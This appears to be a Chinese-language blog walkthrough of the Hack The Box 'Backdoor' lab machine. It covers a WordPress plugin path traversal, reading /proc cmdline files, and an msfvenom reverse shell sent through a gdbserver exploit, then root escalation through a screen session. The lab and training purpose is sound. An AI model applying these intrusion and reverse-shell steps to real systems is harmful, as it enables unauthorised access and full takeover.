0%

HTB实验-backdoor渗透

两年前第一次知道了hack the box,当时照猫画虎的做了一道渗透的题目,结果就再也没有练习过上面的题目,然后前两天用github pages搭建博客的时候,突然就又想起来了htb,昨天在家登录了一下,发现还是挺有意思的,就去找了个简单的backdoor的机器进行练习。

这道题目还是涨了不少姿势的,去年自治区比赛的一道ctf题目,见识了用zip软链接的方式实现信息读取,后来在群里大佬们讨论,通过读取内存的方式来获取一些关键信息,比如/proc/$PID/cmdline,可以看到对应进程的命令。今天这道题目通过wp插件的路径穿越实现任意文件读取,然后通过遍历进程id,读取cmdline,可以看到进程的具体命令,这也是linux==一切皆文件==的充分体现,通过读取内存方式发现了1337端口监听的服务,找到对应漏洞的exp,直接利用getshell,然后通过suid进行提权,实现最终的完全控制。

信息收集

1、端口扫描

通过nmap扫描,发现主机开放了80和22端口,实际服务器还开放了1337端口,扫描时服务down了,可以把机器reset一下。

1
nmap -vv -sT -sV -oN htb_backdoor.nmap 10.10.11.125

image-20220216112131680

2、Web页面访问

访问Web页面,发现网站使用了wordpress

image-20220216112937750

点击Home按钮,发现了域名,当然直接查看源码也可以看到域名,这一步的价值存疑,本来以为服务器设置了部分路径只能通过域名访问,因为在后面用dirsearch的时候,第一次扫描ip,并没有扫描出wordpress的路径,用域名进行扫描,却扫出来了,结合htb的机器网络比较卡,所以也不好说是第一次扫描的网络问题,还是别的问题。

image-20220216113107608

在kali中配置hosts,指定backdoor.htb对应ip为主机ip。

虽然确定了是wordpress,但是暂时没有发现对应的版本,用kali自带的wpscan对其进行扫描,来判断版本

1
wpscan --url http://10.10.11.125

扫描出版本为5.8.1

image-20220216113528659

目前得到的信息包括

1
2
3
4
开放端口:22、80
对应服务:OpenSSh8.2p1、Apache httpd 2.4.41
中间件:WordPress 5.8.1
#实际还开放了1337端口,如前面所述

漏洞挖掘

exploitdb漏洞查找

看一下exploitdb中有没有对应的命令执行的exp,因为想着如果getshell,还是得从存在命令执行漏洞的exp入手,所以在搜索的时候,加了关键字过滤。

1
searchsploit wordpress |grep -i execut

发现wordpress本身存在rce漏洞的版本与此版本对应不上,剩下的都是插件的版本

image-20220216114243975

根据wpscan的扫描结果,并没有找到该wp使用的插件信息,还需要进行进一步的信息收集。

手动挖洞

通过bp抓包查看访问请求,发现了访问url中的路径

image-20220216120416582

尝试直接访问网站加wp-includes和wp-content这些路径,发现在wp-includes下面存在文件遍历,

image-20220216120651257

另外,后来用域名进行dirsearch扫描的时候,也能扫描出来对应的路径,怀疑是做了限制,但是也不好确定是不是网络问题导致用ip扫描路径的时候没有扫描出来,毕竟htb的网络很成问题,在渗透的过程中,断了好多次。。。。

image-20220216120631392

通过上面的扫描结果,发现登录页面,用admin账号进行爆破尝试。

另外访问/wp-content/plugins/路径发现存在ebook插件

image-20220216121448553

通过exploitdb搜索,发现该插件有个路径穿越的漏洞,可以实现任意文件读取。

image-20220216121932385

通过路径穿越获取道wp-config.php中数据库的账号密码

image-20220216122238172

需要注意的是,如果已知绝对路径的文件,后面可以不用../进行路径穿越,比如/etc/passwd,渗透的过程中通过../穿越,始终获取不到/etc/passwd的内容,一度认为是不是存在过滤,后来才发现,直接跟绝对路径就行。

image-20220216153509678

发现插件路径下还有一个hello.php,通过路径穿越获取hello.php的源码,但是没有什么价值。

1
curl -v http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php\?ebookdownloadurl\=../hello.php

image-20220216123445464

用前面收集到的账号密码尝试登录后台,发现不行,然后就卡在这里。尝试去下载了其他php文件,但是也没发现有什么线索。尝试获取/etc/passwd文件,发现user用户,使用上述密码进行ssh登录同样失败。。。。

后来根据网上搜到的wp,其通过路径穿越去读取/proc/$PID/cmdline文件的信息,发现了开放的1337端口有gdbserver,利用gdbserver的漏洞getshell,再用另外一个进程中root的screen进程实现提权,但是当前,服务器的1337端口是down的,通过nmap并没有扫描出1337端口,所以这个思路是没有办法的,但是通过读取内存的方式,可以作为一个突破口。

https://zhuanlan.zhihu.com/p/437147174

通过路径穿越的方式获取的信息似乎也没啥办法进行getshell,只好将机器reset一下,发现1337端口恢复了。。。

用bp抓个请求包,然后将其修改为读取/proc/$PID/cmdline,通过intruder模块进行爆破

image-20220216155004440

payload不宜设置成很大,因为htb的机器本身通过openvpn来访问,丢包就很严重了,上来就1-1000,估计网络很容易断掉。可以考虑分段测试,每次100

在pid为852发现了root用户的screen程序,可能存在提权的地方

image-20220216174641693

pid为846的地方发现了1337的端口监听程序,为gdbserver

image-20220216174613886

通过查找expdb,发现gdbserver存在远程代码执行的漏洞

image-20220216174939522

漏洞利用

根据exp中的内容制作反弹shell的文件

1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.229 LPORT=4444 PrependFork=true -o rev.bin

攻击机开启监听,使用exploitdb的exp(直接将搜到的exp复制过来,方便执行)

1
python3 gdbserver_exp.py 10.10.11.125:1337 rev.bin

image-20220216175842310

成功拿到user用户的shell,查看user.txt,拿到普通用户的flag

提权

根据前面获取到的信息,存在一个root用户的screen进程

1
screen -dmS root

查看screen,发现存在suid,所以这里可以通过suid进行提权。

image-20220216181821371

开个交互式shell

然后通过screen进行提权,后面为$USERNAME/$SESSIONNAME

1
screen -x root/root

image-20220216183123161

查看root目录下的root.txt,拿到root的flag